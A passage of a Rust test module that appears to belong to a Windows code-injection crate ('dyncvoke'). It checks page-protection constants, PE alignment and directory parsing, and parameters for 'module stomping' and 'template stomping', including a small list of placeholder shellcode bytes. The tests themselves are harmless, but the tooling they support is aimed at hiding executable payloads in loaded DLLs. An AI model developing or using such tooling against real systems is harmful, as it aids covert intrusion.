961        use data::PAGE_READONLY;
962        use data::PAGE_READWRITE;
963
964        // Execute only
965        let execute = PAGE_EXECUTE_READ;
966        assert_eq!(execute, 0x20);
967
968        // Read only
969        let read_only = PAGE_READONLY;
970        assert_eq!(read_only, 0x2);
971
972        // Read/Write
973        let read_write = PAGE_READWRITE;
974        assert_eq!(read_write, 0x4);
975
976        // Execute/Read
977        let exec_read = PAGE_EXECUTE_READ;
978        assert!(exec_read & 0x20 != 0);
979
980        // Execute/Read/Write
981        let exec_read_write = PAGE_EXECUTE_READWRITE;
982        assert!(exec_read_write & 0x40 != 0);
983    }
984
985    // Test template stomping parameters
986    #[test]
987    fn test_template_stomping_parameters() {
988        // Test parameter validation
989        let empty_path = "";
990        assert!(empty_path.is_empty());
991
992        let valid_extension = "test.dll";
993        assert!(valid_extension.ends_with(".dll"));
994    }
995
996    // Test file path handling
997    #[test]
998    fn test_file_path_handling() {
999        use std::path::Path;
1000
1001        let path_str = "C:\\Windows\\System32\\kernel32.dll";
1002        let path = Path::new(path_str);
1003
1004        assert!(path.is_absolute());
1005        assert_eq!(path.extension().unwrap_or_default().to_str().unwrap_or(""), "dll");
1006
1007        // Test with forward slash
1008        let path_str2 = "C:/Windows/System32/kernel32.dll";
1009        let path2 = Path::new(path_str2);
1010        assert_eq!(path2.extension().unwrap_or_default().to_str().unwrap_or(""), "dll");
1011    }
1012
1013    // Test payload buffer validation
1014    #[test]
1015    fn test_payload_buffer_validation() {
1016        let empty_payload: Vec<u8> = Vec::new();
1017        assert!(empty_payload.is_empty());
1018
1019        let small_payload = vec![0x90; 256];
1020        assert_eq!(small_payload.len(), 256);
1021        assert_eq!(small_payload[0], 0x90);
1022
1023        // Test shellcode patterns
1024        let shellcode_patterns = vec![
1025            vec![0x90],                    // NOP
1026            vec![0xCC],                    // INT3
1027            vec![0xE9, 0x00, 0x00, 0x00, 0x00], // JMP rel32
1028            vec![0xFF, 0x25, 0x00, 0x00, 0x00, 0x00], // JMP [rip]
1029        ];
1030
1031        assert!(!shellcode_patterns.is_empty());
1032        assert_eq!(shellcode_patterns.len(), 4);
1033    }
1034
1035    // Test module handle types
1036    #[test]
1037    fn test_module_handle_types() {
1038        use dyncvoke_core::INVALID_HANDLE_VALUE;
1039
1040        // INVALID_HANDLE_VALUE must be (HANDLE)(-1), the NtCurrentProcess
1041        // pseudo-handle, not NULL.
1042        assert_eq!(INVALID_HANDLE_VALUE as isize, -1);
1043
1044        // Test valid handle would be non-zero
1045        let dummy_handle: isize = 0x12340000;
1046        assert!(dummy_handle != 0);
1047    }
1048
1049    // Test section alignment calculations
1050    #[test]
1051    fn test_section_alignment_calculations() {
1052        let section_alignment = 0x1000u32;
1053
1054        // Test various raw sizes
1055        let test_cases = vec![
1056            (0x400u32, 0x1000),  // Smaller than alignment -> aligned up
1057            (0x1000u32, 0x1000), // Exactly aligned
1058            (0x1001u32, 0x2000), // Just over alignment
1059            (0x1FFFu32, 0x2000), // Just under next alignment
1060            (0x2000u32, 0x2000), // Exactly next alignment
1061        ];
1062
1063        for (raw_size, expected) in test_cases {
1064            let aligned = ((raw_size + section_alignment - 1) / section_alignment) * section_alignment;
1065            assert_eq!(aligned, expected, "Failed for raw_size: 0x{:x}", raw_size);
1066        }
1067    }
1068
1069    // Test file alignment calculations
1070    #[test]
1071    fn test_file_alignment_calculations() {
1072        let file_alignment = 0x200u32;
1073
1074        // Test various sizes
1075        let test_cases = vec![
1076            (0x100u32, 0x200),
1077            (0x200u32, 0x200),
1078            (0x201u32, 0x400),
1079            (0x3FFu32, 0x400),
1080            (0x400u32, 0x400),
1081        ];
1082
1083        for (size, expected) in test_cases {
1084            let aligned = ((size + file_alignment - 1) / file_alignment) * file_alignment;
1085            assert_eq!(aligned, expected, "Failed for size: 0x{:x}", size);
1086        }
1087    }
1088
1089    // Test offset calculations for module stomping
1090    #[test]
1091    fn test_offset_calculations() {
1092        let base_address = 0x140000000u64;
1093        let rva = 0x1000u32;
1094
1095        let va = base_address + rva as u64;
1096        assert_eq!(va, 0x140001000);
1097    }
1098
1099    // Test DLL export directory parsing
1100    #[test]
1101    fn test_export_directory_parsing() {
1102        // Export directory constants
1103        const IMAGE_DIRECTORY_ENTRY_EXPORT: usize = 0;
1104
1105        assert_eq!(IMAGE_DIRECTORY_ENTRY_EXPORT, 0);
1106
1107        // Export directory structure sizes
1108        const SIZE_OF_EXPORT_DIRECTORY: u32 = 40;
1109
1110        assert_eq!(SIZE_OF_EXPORT_DIRECTORY, 40);
1111    }
1112
1113    // Test import directory parsing
1114    #[test]
1115    fn test_import_directory_parsing() {
1116        const IMAGE_DIRECTORY_ENTRY_IMPORT: usize = 1;
1117
1118        assert_eq!(IMAGE_DIRECTORY_ENTRY_IMPORT, 1);
1119
1120        // Import descriptor size
1121        const SIZE_OF_IMPORT_DESCRIPTOR: u32 = 20;
1122
1123        assert_eq!(SIZE_OF_IMPORT_DESCRIPTOR, 20);
1124    }
1125
1126    // Test TLS directory handling
1127    #[test]
1128    fn test_tls_directory_parsing() {
1129        const IMAGE_DIRECTORY_ENTRY_TLS: usize = 9;
1130
1131        assert_eq!(IMAGE_DIRECTORY_ENTRY_TLS, 9);
1132    }
1133
1134    // Test reloc directory handling
1135    #[test]
1136    fn test_reloc_directory_parsing() {
1137        const IMAGE_DIRECTORY_ENTRY_BASERELOC: usize = 5;
1138
1139        assert_eq!(IMAGE_DIRECTORY_ENTRY_BASERELOC, 5);
1140
1141        // Base relocation types
1142        const IMAGE_REL_BASED_ABSOLUTE: u8 = 0;
1143        const IMAGE_REL_BASED_HIGHLOW: u8 = 3;
1144        const IMAGE_REL_BASED_DIR64: u8 = 10;
1145
1146        assert_eq!(IMAGE_REL_BASED_ABSOLUTE, 0);
1147        assert_eq!(IMAGE_REL_BASED_HIGHLOW, 3);
1148        assert_eq!(IMAGE_REL_BASED_DIR64, 10);
1149    }
1150}